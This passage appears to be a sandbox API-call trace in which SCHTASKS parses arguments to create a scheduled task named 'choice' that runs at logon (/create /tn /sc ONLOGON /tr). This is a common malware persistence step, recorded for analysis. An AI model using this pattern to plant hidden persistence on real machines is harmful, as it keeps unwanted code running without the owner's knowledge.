returned 0x23cd00 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd30 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd60 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23bc30 [0064.282] _memicmp (_Buf1=0x23bc30, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x200) returned 0x23d440 [0064.282] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23d440, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0064.282] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x237c10 [0064.282] _vsnwprintf (in: _Buffer=0x23c190, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13f748 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c360) returned 1 [0064.282] GetProcessHeap () returned 0x220000 [0064.282] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c360) returned 0x74e [0064.283] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c360 | out: hHeap=0x220000) returned 1 [0064.283] SetLastError (dwErrCode=0x0) [0064.283] GetThreadLocale () returned 0x409 [0064.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.283] lstrlenW (lpString="?") returned 1 [0064.283] GetThreadLocale () returned 0x409 [0064.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.283] lstrlenW (lpString="create") returned 6 [0064.283] GetThreadLocale () returned 0x409 [0064.283] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.284] lstrlenW (lpString="delete") returned 6 [0064.284] GetThreadLocale () returned 0x409 [0064.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.284] lstrlenW (lpString="query") returned 5 [0064.284] GetThreadLocale () returned 0x409 [0064.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.284] lstrlenW (lpString="change") returned 6 [0064.284] GetThreadLocale () returned 0x409 [0064.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.284] lstrlenW (lpString="run") returned 3 [0064.284] GetThreadLocale () returned 0x409 [0064.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.284] lstrlenW (lpString="end") returned 3 [0064.284] GetThreadLocale () returned 0x409 [0064.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.284] lstrlenW (lpString="showsid") returned 7 [0064.284] GetThreadLocale () returned 0x409 [0064.284] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0064.284] SetLastError (dwErrCode=0x0) [0064.284] SetLastError (dwErrCode=0x0) [0064.284] lstrlenW (lpString="/create") returned 7 [0064.284] lstrlenW (lpString="-/") returned 2 [0064.284] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.284] lstrlenW (lpString="?") returned 1 [0064.284] lstrlenW (lpString="?") returned 1 [0064.284] GetProcessHeap () returned 0x220000 [0064.284] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c240 [0064.284] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.284] GetProcessHeap () returned 0x220000 [0064.284] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x23c360 [0064.284] lstrlenW (lpString="create") returned 6 [0064.284] GetProcessHeap () returned 0x220000 [0064.284] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c380 [0064.284] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.284] GetProcessHeap () returned 0x220000 [0064.284] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x23c3a0 [0064.284] _vsnwprintf (in: _Buffer=0x23c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|?|") returned 3 [0064.285] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|create|") returned 8 [0064.285] lstrlenW (lpString="|?|") returned 3 [0064.285] lstrlenW (lpString="|create|") returned 8 [0064.285] SetLastError (dwErrCode=0x490) [0064.285] lstrlenW (lpString="create") returned 6 [0064.285] lstrlenW (lpString="create") returned 6 [0064.285] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.285] GetProcessHeap () returned 0x220000 [0064.285] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c360) returned 1 [0064.285] GetProcessHeap () returned 0x220000 [0064.285] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23c360, Size=0x14) returned 0x23c3c0 [0064.285] lstrlenW (lpString="create") returned 6 [0064.285] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.285] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|create|") returned 8 [0064.285] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|create|") returned 8 [0064.285] lstrlenW (lpString="|create|") returned 8 [0064.285] lstrlenW (lpString="|create|") returned 8 [0064.285] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0064.285] SetLastError (dwErrCode=0x0) [0064.285] SetLastError (dwErrCode=0x0) [0064.285] SetLastError (dwErrCode=0x0) [0064.285] lstrlenW (lpString="/tn") returned 3 [0064.285] lstrlenW (lpString="-/") returned 2 [0064.285] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.285] lstrlenW (lpString="?") returned 1 [0064.285] lstrlenW (lpString="?") returned 1 [0064.285] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.285] lstrlenW (lpString="tn") returned 2 [0064.285] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.285] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|?|") returned 3 [0064.285] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tn|") returned 4 [0064.285] lstrlenW (lpString="|?|") returned 3 [0064.285] lstrlenW (lpString="|tn|") returned 4 [0064.285] SetLastError (dwErrCode=0x490) [0064.286] lstrlenW (lpString="create") returned 6 [0064.286] lstrlenW (lpString="create") returned 6 [0064.286] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.286] lstrlenW (lpString="tn") returned 2 [0064.286] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.286] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|create|") returned 8 [0064.286] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tn|") returned 4 [0064.286] lstrlenW (lpString="|create|") returned 8 [0064.286] lstrlenW (lpString="|tn|") returned 4 [0064.286] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0064.286] SetLastError (dwErrCode=0x490) [0064.286] lstrlenW (lpString="delete") returned 6 [0064.286] lstrlenW (lpString="delete") returned 6 [0064.286] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.286] lstrlenW (lpString="tn") returned 2 [0064.286] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.286] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|delete|") returned 8 [0064.286] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tn|") returned 4 [0064.286] lstrlenW (lpString="|delete|") returned 8 [0064.286] lstrlenW (lpString="|tn|") returned 4 [0064.286] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0064.286] SetLastError (dwErrCode=0x490) [0064.286] lstrlenW (lpString="query") returned 5 [0064.286] lstrlenW (lpString="query") returned 5 [0064.286] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.286] lstrlenW (lpString="tn") returned 2 [0064.286] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.286] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|query|") returned 7 [0064.286] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tn|") returned 4 [0064.286] lstrlenW (lpString="|query|") returned 7 [0064.287] lstrlenW (lpString="|tn|") returned 4 [0064.287] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0064.287] SetLastError (dwErrCode=0x490) [0064.287] lstrlenW (lpString="change") returned 6 [0064.287] lstrlenW (lpString="change") returned 6 [0064.287] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.287] lstrlenW (lpString="tn") returned 2 [0064.287] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.287] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|change|") returned 8 [0064.287] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tn|") returned 4 [0064.287] lstrlenW (lpString="|change|") returned 8 [0064.287] lstrlenW (lpString="|tn|") returned 4 [0064.287] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0064.287] SetLastError (dwErrCode=0x490) [0064.287] lstrlenW (lpString="run") returned 3 [0064.287] lstrlenW (lpString="run") returned 3 [0064.287] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.287] lstrlenW (lpString="tn") returned 2 [0064.287] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.287] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|run|") returned 5 [0064.287] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tn|") returned 4 [0064.287] lstrlenW (lpString="|run|") returned 5 [0064.287] lstrlenW (lpString="|tn|") returned 4 [0064.287] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0064.287] SetLastError (dwErrCode=0x490) [0064.287] lstrlenW (lpString="end") returned 3 [0064.287] lstrlenW (lpString="end") returned 3 [0064.287] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.287] lstrlenW (lpString="tn") returned 2 [0064.287] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.287] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|end|") returned 5 [0064.287] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tn|") returned 4 [0064.287] lstrlenW (lpString="|end|") returned 5 [0064.288] lstrlenW (lpString="|tn|") returned 4 [0064.288] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0064.288] SetLastError (dwErrCode=0x490) [0064.288] lstrlenW (lpString="showsid") returned 7 [0064.288] lstrlenW (lpString="showsid") returned 7 [0064.288] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.288] GetProcessHeap () returned 0x220000 [0064.288] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3c0) returned 1 [0064.288] GetProcessHeap () returned 0x220000 [0064.288] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23c3c0, Size=0x16) returned 0x23c3c0 [0064.288] lstrlenW (lpString="tn") returned 2 [0064.288] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.288] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|showsid|") returned 9 [0064.288] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tn|") returned 4 [0064.288] lstrlenW (lpString="|showsid|") returned 9 [0064.288] lstrlenW (lpString="|tn|") returned 4 [0064.288] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0064.288] SetLastError (dwErrCode=0x490) [0064.288] SetLastError (dwErrCode=0x490) [0064.288] SetLastError (dwErrCode=0x0) [0064.288] lstrlenW (lpString="/tn") returned 3 [0064.288] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0064.288] SetLastError (dwErrCode=0x490) [0064.288] SetLastError (dwErrCode=0x0) [0064.288] lstrlenW (lpString="/tn") returned 3 [0064.288] GetProcessHeap () returned 0x220000 [0064.288] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c360 [0064.288] GetProcessHeap () returned 0x220000 [0064.288] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cd90 [0064.288] SetLastError (dwErrCode=0x0) [0064.288] SetLastError (dwErrCode=0x0) [0064.288] lstrlenW (lpString="choice") returned 6 [0064.288] lstrlenW (lpString="-/") returned 2 [0064.289] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0064.289] SetLastError (dwErrCode=0x490) [0064.289] SetLastError (dwErrCode=0x490) [0064.289] SetLastError (dwErrCode=0x0) [0064.289] lstrlenW (lpString="choice") returned 6 [0064.289] StrChrIW (lpStart="choice", wMatch=0x3a) returned 0x0 [0064.289] SetLastError (dwErrCode=0x490) [0064.289] SetLastError (dwErrCode=0x0) [0064.289] lstrlenW (lpString="choice") returned 6 [0064.289] GetProcessHeap () returned 0x220000 [0064.289] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23c3f0 [0064.289] GetProcessHeap () returned 0x220000 [0064.289] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cdc0 [0064.289] SetLastError (dwErrCode=0x0) [0064.289] SetLastError (dwErrCode=0x0) [0064.289] lstrlenW (lpString="/sc") returned 3 [0064.289] lstrlenW (lpString="-/") returned 2 [0064.289] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.289] lstrlenW (lpString="?") returned 1 [0064.289] lstrlenW (lpString="?") returned 1 [0064.289] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.289] lstrlenW (lpString="sc") returned 2 [0064.289] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.289] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|?|") returned 3 [0064.289] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|sc|") returned 4 [0064.289] lstrlenW (lpString="|?|") returned 3 [0064.289] lstrlenW (lpString="|sc|") returned 4 [0064.289] SetLastError (dwErrCode=0x490) [0064.289] lstrlenW (lpString="create") returned 6 [0064.289] lstrlenW (lpString="create") returned 6 [0064.289] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.289] lstrlenW (lpString="sc") returned 2 [0064.289] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.289] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|create|") returned 8 [0064.289] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|sc|") returned 4 [0064.290] lstrlenW (lpString="|create|") returned 8 [0064.290] lstrlenW (lpString="|sc|") returned 4 [0064.290] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0064.290] SetLastError (dwErrCode=0x490) [0064.290] lstrlenW (lpString="delete") returned 6 [0064.290] lstrlenW (lpString="delete") returned 6 [0064.290] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.290] lstrlenW (lpString="sc") returned 2 [0064.290] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.290] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|delete|") returned 8 [0064.290] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|sc|") returned 4 [0064.290] lstrlenW (lpString="|delete|") returned 8 [0064.290] lstrlenW (lpString="|sc|") returned 4 [0064.290] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0064.290] SetLastError (dwErrCode=0x490) [0064.290] lstrlenW (lpString="query") returned 5 [0064.290] lstrlenW (lpString="query") returned 5 [0064.290] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.290] lstrlenW (lpString="sc") returned 2 [0064.290] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.290] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|query|") returned 7 [0064.290] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|sc|") returned 4 [0064.290] lstrlenW (lpString="|query|") returned 7 [0064.290] lstrlenW (lpString="|sc|") returned 4 [0064.290] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0064.290] SetLastError (dwErrCode=0x490) [0064.290] lstrlenW (lpString="change") returned 6 [0064.290] lstrlenW (lpString="change") returned 6 [0064.290] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.290] lstrlenW (lpString="sc") returned 2 [0064.290] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.290] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|change|") returned 8 [0064.290] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|sc|") returned 4 [0064.291] lstrlenW (lpString="|change|") returned 8 [0064.291] lstrlenW (lpString="|sc|") returned 4 [0064.291] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0064.291] SetLastError (dwErrCode=0x490) [0064.291] lstrlenW (lpString="run") returned 3 [0064.291] lstrlenW (lpString="run") returned 3 [0064.291] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.291] lstrlenW (lpString="sc") returned 2 [0064.291] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.291] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|run|") returned 5 [0064.291] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|sc|") returned 4 [0064.291] lstrlenW (lpString="|run|") returned 5 [0064.291] lstrlenW (lpString="|sc|") returned 4 [0064.291] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0064.291] SetLastError (dwErrCode=0x490) [0064.291] lstrlenW (lpString="end") returned 3 [0064.291] lstrlenW (lpString="end") returned 3 [0064.291] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.291] lstrlenW (lpString="sc") returned 2 [0064.291] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.291] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|end|") returned 5 [0064.291] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|sc|") returned 4 [0064.291] lstrlenW (lpString="|end|") returned 5 [0064.291] lstrlenW (lpString="|sc|") returned 4 [0064.291] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0064.291] SetLastError (dwErrCode=0x490) [0064.291] lstrlenW (lpString="showsid") returned 7 [0064.291] lstrlenW (lpString="showsid") returned 7 [0064.291] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.291] lstrlenW (lpString="sc") returned 2 [0064.291] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.291] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|showsid|") returned 9 [0064.292] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|sc|") returned 4 [0064.292] lstrlenW (lpString="|showsid|") returned 9 [0064.292] lstrlenW (lpString="|sc|") returned 4 [0064.292] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0064.292] SetLastError (dwErrCode=0x490) [0064.292] SetLastError (dwErrCode=0x490) [0064.292] SetLastError (dwErrCode=0x0) [0064.292] lstrlenW (lpString="/sc") returned 3 [0064.292] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0064.292] SetLastError (dwErrCode=0x490) [0064.292] SetLastError (dwErrCode=0x0) [0064.292] lstrlenW (lpString="/sc") returned 3 [0064.292] GetProcessHeap () returned 0x220000 [0064.292] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c410 [0064.292] GetProcessHeap () returned 0x220000 [0064.292] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cdf0 [0064.292] SetLastError (dwErrCode=0x0) [0064.292] SetLastError (dwErrCode=0x0) [0064.292] lstrlenW (lpString="ONLOGON") returned 7 [0064.292] lstrlenW (lpString="-/") returned 2 [0064.292] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0064.292] SetLastError (dwErrCode=0x490) [0064.292] SetLastError (dwErrCode=0x490) [0064.292] SetLastError (dwErrCode=0x0) [0064.292] lstrlenW (lpString="ONLOGON") returned 7 [0064.292] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0064.292] SetLastError (dwErrCode=0x490) [0064.292] SetLastError (dwErrCode=0x0) [0064.292] lstrlenW (lpString="ONLOGON") returned 7 [0064.292] GetProcessHeap () returned 0x220000 [0064.292] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23c430 [0064.292] GetProcessHeap () returned 0x220000 [0064.292] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce20 [0064.292] SetLastError (dwErrCode=0x0) [0064.292] SetLastError (dwErrCode=0x0) [0064.292] lstrlenW (lpString="/tr") returned 3 [0064.292] lstrlenW (lpString="-/") returned 2 [0064.292] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.292] lstrlenW (lpString="?") returned 1 [0064.292] lstrlenW (lpString="?") returned 1 [0064.293] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.293] lstrlenW (lpString="tr") returned 2 [0064.293] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.293] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|?|") returned 3 [0064.293] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tr|") returned 4 [0064.293] lstrlenW (lpString="|?|") returned 3 [0064.293] lstrlenW (lpString="|tr|") returned 4 [0064.293] SetLastError (dwErrCode=0x490) [0064.293] lstrlenW (lpString="create") returned 6 [0064.293] lstrlenW (lpString="create") returned 6 [0064.293] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.293] lstrlenW (lpString="tr") returned 2 [0064.293] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.293] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|create|") returned 8 [0064.293] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tr|") returned 4 [0064.293] lstrlenW (lpString="|create|") returned 8 [0064.293] lstrlenW (lpString="|tr|") returned 4 [0064.293] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0064.293] SetLastError (dwErrCode=0x490) [0064.293] lstrlenW (lpString="delete") returned 6 [0064.293] lstrlenW (lpString="delete") returned 6 [0064.293] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.293] lstrlenW (lpString="tr") returned 2 [0064.293] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.293] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|delete|") returned 8 [0064.293] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tr|") returned 4 [0064.293] lstrlenW (lpString="|delete|") returned 8 [0064.293] lstrlenW (lpString="|tr|") returned 4 [0064.293] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0064.293] SetLastError (dwErrCode=0x490) [0064.293] lstrlenW (lpString="query") returned 5 [0064.293] lstrlenW (lpString="query") returned 5 [0064.294] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.294] lstrlenW (lpString="tr") returned 2 [0064.294] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.294] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|query|") returned 7 [0064.294] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tr|") returned 4 [0064.294] lstrlenW (lpString="|query|") returned 7 [0064.294] lstrlenW (lpString="|tr|") returned 4 [0064.294] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0064.294] SetLastError (dwErrCode=0x490) [0064.294] lstrlenW (lpString="change") returned 6 [0064.294] lstrlenW (lpString="change") returned 6 [0064.294] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.294] lstrlenW (lpString="tr") returned 2 [0064.294] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.294] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|change|") returned 8 